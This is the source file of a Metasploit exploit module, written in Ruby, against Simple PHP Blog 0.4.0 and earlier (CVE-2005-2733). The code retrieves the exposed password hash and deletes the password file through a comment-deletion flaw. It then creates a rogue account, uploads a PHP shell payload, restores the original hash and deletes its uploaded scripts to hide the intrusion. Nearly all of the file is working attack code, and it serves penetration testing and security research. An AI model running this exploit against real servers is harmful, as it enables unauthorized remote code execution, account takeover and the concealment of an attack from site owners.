metasploit-framework/modules/exploits/unix/webapp/sphpblog_file_upload.rb

232 lines
6.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Simple PHP Blog Remote Command Execution',
'Description' => %q{
This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
application to upload arbitrary data and thus execute a shell. The first
vulnerability exposes the hash file (password.txt) to unauthenticated users.
The second vulnerability lies within the image upload system provided to
logged-in users; there is no image validation function in the blogger to
prevent an authenticated user from uploading any file type. The third
vulnerability occurs within the blog comment functionality, allowing
arbitrary files to be deleted.
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2005-2733'],
['OSVDB', '19012'],
['BID', '14667'],
['EDB', '1191'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Aug 25 2005',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
])
end
def check
res = send_request_raw({
'uri' => normalize_uri(datastore['URI'], '/index.php')
}, 25)
if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)
ver = [ $1.to_i, $2.to_i, $3.to_i ]
vprint_status("Simple PHP Blog #{ver.join('.')}")
if (ver[0] == 0 and ver[1] < 5)
if (ver[1] == 4 and ver[2] > 0)
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
end
def retrieve_password_hash(file)
res = send_request_raw({
'uri' => normalize_uri(datastore['URI'], file)
}, 25)
if (res and res.message == "OK" and res.body)
print_good("Successfully retrieved hash: #{res.body}")
return res.body
else
fail_with(Failure::NotVulnerable, "Failed to retrieve hash, server may not be vulnerable.")
return false
end
end
def create_new_password(user, pass)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], '/install03_cgi.php'),
'method' => 'POST',
'data' => "user=#{user}&pass=#{pass}",
}, 25)
if (res)
print_good("Successfully created temporary account.")
else
print_error("Unable to create a temporary account!")
end
end
def retrieve_session(user, pass)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], "/login_cgi.php"),
'method' => 'POST',
'data' => "user=#{user}&pass=#{pass}",
}, 25)
if res
print_good("Successfully logged in as #{user}:#{pass}")
if res.get_cookies =~ /my_id=(.*)/
session = $1
print_good("Successfully retrieved cookie: #{session}")
return session
else
print_error("Error retrieving cookie!")
end
else
print_error("No response received while logging in.")
end
end
def upload_page(session, dir, newpage, contents)
boundary = rand_text_alphanumeric(6)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
data << contents
data << "\r\n--#{boundary}--"
res = send_request_raw({
'uri' => normalize_uri(datastore['URI'], "/upload_img_cgi.php"),
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length,
'Cookie' => "my_id=#{session}; PHPSESSID=#{session}",
}
}, 25)
if (res)
print_good("Successfully Uploaded #{newpage}")
else
print_error("Error uploading #{newpage}")
end
end
def reset_original_password(hash, scriptlocation)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], scriptlocation),
'method' => 'POST',
'data' => "hash=" + hash,
}, 25)
if (res)
print_good("Successfully reset original password hash.")
else
print_error("Error resetting original password!")
end
end
def delete_file(file)
delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"
res = send_request_raw({
'uri' => normalize_uri(datastore['URI'], delete_path),
}, 25)
if (res)
print_good("Successfully removed #{file}")
else
print_error("Error removing #{file}!")
end
end
def cmd_shell(cmdpath)
print_status("Calling payload: #{cmdpath}")
res = send_request_raw({
'uri' => datastore['URI'] + cmdpath
}, 25)
end
def exploit
# Define the scripts to be uploaded to aid in exploitation
cmd_php = '<?php ' + payload.encoded + '?>'
reset_php = %Q|
<?php $hash = $_POST['hash'];
$fp = fopen("../config/password.txt","w");
fwrite($fp,$hash);
fpclose($fp);
?>|
# Generate some random strings
cmdscript = rand_text_alphanumeric(20) + '.php'
resetscript = rand_text_alphanumeric(20) + '.php'
newuser = rand_text_alphanumeric(6)
newpass = rand_text_alphanumeric(6)
# Static files
directory = '/images/'
cmdpath = directory + cmdscript
resetpath = directory + resetscript
passwdfile = '/config/password.txt'
# Let's do this thing
hash = retrieve_password_hash(passwdfile)
delete_file(passwdfile)
create_new_password(newuser, newpass)
session = retrieve_session(newuser, newpass)
upload_page(session, directory, resetscript, reset_php)
upload_page(session, directory, cmdscript, cmd_php)
reset_original_password(hash, resetpath)
delete_file(resetpath)
cmd_shell(cmdpath)
delete_file(cmdpath)
end
end